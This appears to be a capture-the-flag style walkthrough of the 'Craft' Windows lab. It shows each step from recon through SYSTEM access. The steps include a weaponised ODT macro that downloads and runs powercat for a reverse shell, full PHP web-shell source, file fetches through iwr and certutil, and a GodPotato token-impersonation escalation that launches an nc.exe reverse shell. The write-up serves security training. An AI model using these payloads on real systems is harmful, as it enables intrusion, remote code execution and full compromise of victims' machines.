Initial Reconnaissance
Let’s begin with a full TCP port scan using nmap
. This will help us understand which services are running on the target system.
sudo nmap -Pn -n 192.168.196.169 -sC -sV -A -p- --open
Pn
tellsnmap
not to bother with host discovery (assumes host is up).n
skips DNS resolution, speeding things up.sC
andsV
run default scripts and version detection.A
enables aggressive scanning (OS detection, traceroute, etc).p-
scans all 65,535 TCP ports.-open
shows only open ports.
The result tells us that port 80 is open and running Apache on Windows, with PHP enabled:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
Since TCP is covered, we now move to scanning top 100 UDP ports:
sudo nmap -Pn -n 192.168.196.169 -sU --top-ports=100
──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n 192.168.196.169 -sU --top-ports=100
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 05:05 EDT
Nmap scan report for 192.168.196.169
Host is up.
All 100 scanned ports on 192.168.196.169 are in ignored states.
Not shown: 100 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds
The scan reveals that all UDP ports are either filtered or unresponsive which means it is likely blocked or ignored by a firewall.
Web Directory Discovery
Given port 80 is open, we assume a web app is present. Let's use gobuster
to enumerate directories:
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://192.168.196.169 -t 42 -b 400,401,403,404
┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://192.168.196.169 -t 42 -b 400,401,403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.196.169
[+] Method: GET
[+] Threads: 42
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 400,401,403,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 344] [--> http://192.168.196.169/uploads/]
/assets (Status: 301) [Size: 343] [--> http://192.168.196.169/assets/]
/css (Status: 301) [Size: 340] [--> http://192.168.196.169/css/]
/js (Status: 301) [Size: 339] [--> http://192.168.196.169/js/]
/examples (Status: 503) [Size: 404]
/Assets (Status: 301) [Size: 343] [--> http://192.168.196.169/Assets/]
/CSS (Status: 301) [Size: 340] [--> http://192.168.196.169/CSS/]
/JS (Status: 301) [Size: 339] [--> http://192.168.196.169/JS/]
/Uploads (Status: 301) [Size: 344] [--> http://192.168.196.169/Uploads/]
<SNIP>
We are:
- Using a common wordlist.
- Ignoring common HTTP error codes (400–404) to reduce noise.
- Running with 42 threads for a balance between speed and stability.
Some useful directories discovered:
/uploads/
/assets/
/js/
,/css/
/examples/
(though returns 503)
Let’s browse the site in a browser. Down the bottom of the page, we find contact info and a file upload form for submitting CVs. This could be an entry point.


To make testing smoother, we edit /etc/hosts
so we can access the target by name:
sudo nano /etc/hosts
Add:
192.168.196.169 craft.offsec
Testing the Upload Functionality
Try uploading a basic text file:
echo 'this is a test' > test.txt


Upon uploading, we receive an error: only ODT files are accepted. ODT is the Open Document Text format used by LibreOffice, similar to DOCX.

Rather than bypassing the file type check, let’s try weaponising a legitimate .odt
file using LibreOffice macros.
Install LibreOffice if needed:
sudo apt update
sudo apt install libreoffice
Create a fake resume.

Save it as a .odt
file

Go to Tools → Macros → Organise Macros → LibreOffice Basic
Select your document, create a new macro in the document.

Add this basic callback:
Shell("cmd /c powershell iwr http://192.168.45.216/")

Go back to the document and select Tools and Customize.
Select Open Document then Assign Macro.

Select the Macro (test) and click OK.

Note that the macro appears in the Assigned Action.

Click OK and save the document. Set up a listener on port 80 on your attacking machine:
nc -nvlp 80
Now upload the .odt
file.


If successful, you’ll see an inbound request in your terminal. That confirms macro execution works.
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50081
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1971
Host: 192.168.45.216
Connection: Keep-Alive

Weaponising the Payload
Remove the the old macro before assigning the new one.

Update the macro to fetch and run Powercat in-memory (no file writes):
Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.216/powercat.ps1');powercat -c 192.168.45.216 -p 135 -e powershell")

This connects back on port 135 using Powercat.
Go back to Tools → Customize and reassign the (test) macro.

To host Powercat on Kali machine, run:
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
python3 -m http.server 80
Set up a listener:
sudo rlwrap nc -nvlp 135
Upload your weaponised .odt
again and wait for the reverse shell.

┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50115
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Program Files\LibreOffice\program> whoami
whoami
craft\thecybergeek

Check the user’s desktop for flags and run ipconfig /all
to confirm host info.
PS C:\users\thecybergeek\Desktop> ls
ls
Directory: C:\users\thecybergeek\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/25/2025 1:48 AM 34 local.txt
PS C:\users\thecybergeek\Desktop> cat local.txt
cat local.txt
9bffea56af94fa4211c0639a15b88e54
PS C:\users\thecybergeek\Desktop> ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : CRAFT
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-BC-63
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cb8:8b18:5081:1b11%5(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.196.169(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.196.254
DHCPv6 IAID . . . . . . . . . . . : 117461078
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-7F-1C-3F-00-50-56-8A-CE-01
DNS Servers . . . . . . . . . . . : 192.168.196.254
NetBIOS over Tcpip. . . . . . . . : Enabled

Post-Exploitation Enumeration
Check for privileges:
whoami /priv
PS C:\Program Files\LibreOffice\program> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Program Files\LibreOffice\program> whoami /groups
Check for other users:
net user
PS C:\Program Files\LibreOffice\program> net user
net user
User accounts for \\CRAFT
-------------------------------------------------------------------------------
Administrator apache DefaultAccount
Guest thecybergeek WDAGUtilityAccount
The command completed successfully.
It is Interesting that there's an apache
account. Let’s upload winpeas.exe
for a deeper privilege check.
iwr -uri http://192.168.45.216/winpeas.exe -Outfile winpeas.exe
.\winpeas.exe

Once again, this points towards attempting a lateral movement to the apache
user, as it appears they are currently logged in. It’s likely they hold service-level privileges.


This directory definitely stood out during our earlier look through the root directory. Let’s head back there now and take a closer look.
While exploring the C:\xampp
directory, I came across a text file containing passwords.
PS C:\xampp> cat passwords.txt
cat passwords.txt
### XAMPP Default Passwords ###
1) MySQL (phpMyAdmin):
User: root
Password:
(means no password!)
2) FileZilla FTP:
[ You have to create a new user on the FileZilla Interface ]
3) Mercury (not in the USB & lite version):
Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
User: newuser
Password: wampp
4) WEBDAV:
User: xampp-dav-unsecure
Password: ppmax2011
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
For activation please comment out the httpd-dav.conf and
following modules in the httpd.conf
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
Please do not forget to refresh the WEBDAV authentification (users and passwords).
winPEAS
suggests Apache could be running under a higher-privileged user. Let’s confirm write access to the webroot:
icacls "C:\xampp\htdocs"
C:\xampp\htdocs CRAFT\apache:(OI)(CI)(F)
CRAFT\apache:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Yes! We can write to the directory served by the Apache web server.
Deploying a PHP Web Shell
Copy a basic PHP shell in attacker machine:
cp /usr/share/webshells/php/simple-backdoor.php .
The PHP shell looks like this:
┌──(kali㉿kali)-[~/Tools]
└─$ cat simple-backdoor.php
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
Transfer it to the target machine:
iwr -uri http://192.168.45.216/simple-backdoor.php -Outfile simple-backdoor.php
PS C:\xampp\htdocs> iwr -uri http://192.168.45.216/simple-backdoor.php -Outfile simple-backdoor.php
iwr -uri http://192.168.45.216/simple-backdoor.php -Outfile simple-backdoor.php
PS C:\xampp\htdocs> ls
ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:18 AM assets
d----- 7/13/2021 3:18 AM css
d----- 7/13/2021 3:18 AM js
d----- 4/25/2025 2:57 AM uploads
-a---- 7/7/2021 10:53 AM 9635 index.php
-a---- 4/25/2025 3:21 AM 328 simple-backdoor.php
-a---- 7/7/2021 9:56 AM 835 upload.php
Now access:
http://192.168.196.169/simple-backdoor.php?cmd=whoami

This proves we can execute arbitrary commands via the browser.
Let’s take it further and upload a PHP reverse shell and listen on port 445:

Pull it over to the victim and set up a listener on your chosen port.
PS C:\xampp\htdocs> iwr -uri http://192.168.45.216/shell.php -Outfile shell.php
iwr -uri http://192.168.45.216/shell.php -Outfile shell.php
PS C:\xampp\htdocs> ls
ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/13/2021 3:18 AM assets
d----- 7/13/2021 3:18 AM css
d----- 7/13/2021 3:18 AM js
d----- 4/25/2025 2:57 AM uploads
-a---- 7/7/2021 10:53 AM 9635 index.php
-a---- 4/25/2025 3:25 AM 9287 shell.php
-a---- 4/25/2025 3:21 AM 328 simple-backdoor.php
-a---- 7/7/2021 9:56 AM 835 upload.php
Set up listener on port 445 then browse to it.
http://192.168.196.169/shell.php

If all goes well, you’ll get a shell as craft\apache
.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -nvlp 445
[sudo] password for kali:
listening on [any] 445 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50152
SOCKET: Shell has connected! PID: 664
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>whoami
craft\apache

Privilege Escalation to SYSTEM
Check privileges:
whoami /priv
C:\xampp\htdocs>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
You’ll see SeImpersonatePrivilege
which isdeal for token impersonation attacks. We’ll use GodPotato for this.
Confirm .NET version:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
C:\xampp\htdocs>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0
Transfer the GodPotato binary:
certutil -urlcache -split -f http://192.168.45.216/GodPotato-NET4.exe
C:\xampp\htdocs>certutil -urlcache -split -f http://192.168.45.216/GodPotato-NET4.exe
**** Online ****
0000 ...
e000
CertUtil: -URLCache command completed successfully.
Run a simple test:
.\GodPotato-NET4.exe -cmd "whoami"
C:\xampp\htdocs>.\GodPotato-NET4.exe -cmd "whoami"
[*] CombaseModule: 0x140733614522368
[*] DispatchTable: 0x140733616835776
[*] UseProtseqFunction: 0x140733616212704
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\882c4f5d-34ef-4f54-8e0e-6320591e4b3f\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000f402-05c8-ffff-4859-1d18a8fc804a
[*] DCOM obj OXID: 0x6e250db0cce886a2
[*] DCOM obj OID: 0xf3f2884740268d6c
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4868

You should get NT AUTHORITY\SYSTEM
as output.
Final Reverse Shell as SYSTEM
Transfer nc.exe
:
cp /usr/share/windows-resources/binaries/nc.exe .
certutil -urlcache -split -f http://192.168.45.216/nc.exe
Set up a listener on port 81 and run the following command for a reverse shell:
.\GodPotato-NET4.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.216 81"
C:\xampp\htdocs>.\GodPotato-NET4.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.216 81"
[*] CombaseModule: 0x140733614522368
[*] DispatchTable: 0x140733616835776
[*] UseProtseqFunction: 0x140733616212704
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\865f642d-8de3-4b00-ac4b-809720ecb5df\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00005002-13fc-ffff-f154-38e0db63c479
[*] DCOM obj OXID: 0x1615de49a98bf315
[*] DCOM obj OID: 0x9cc10cc406879b27
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x812 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4356
You’ll have a SYSTEM shell. whoami
does not work but we can navigate to C:\Users\Administrator\Desktop
and retrieve the proof flag:
└─$ sudo rlwrap nc -nvlp 81
listening on [any] 81 ...
connect to [192.168.45.216] from (UNKNOWN) [192.168.196.169] 50168
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 5C30-DCD7
Directory of C:\Users\Administrator\Desktop
07/13/2021 03:38 AM <DIR> .
07/13/2021 03:38 AM <DIR> ..
04/25/2025 01:48 AM 34 proof.txt
1 File(s) 34 bytes
2 Dir(s) 10,650,083,328 bytes free
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
1328f1decaf55bcb56559bb508ec5543
C:\Users\Administrator\Desktop>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : CRAFT
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-BC-63
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cb8:8b18:5081:1b11%5(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.196.169(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.196.254
DHCPv6 IAID . . . . . . . . . . . : 117461078
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-7F-1C-3F-00-50-56-8A-CE-01
DNS Servers . . . . . . . . . . . : 192.168.196.254
NetBIOS over Tcpip. . . . . . . . : Enabled

Summary
This lab involved:
- Enumerating services with
nmap
andgobuster
- Exploiting file upload via ODT macro abuse
- Using PowerShell and Powercat for reverse shells
- Deploying web shells for persistence
- Abusing impersonation privileges with GodPotato
- Escalating from user to SYSTEM and capturing flags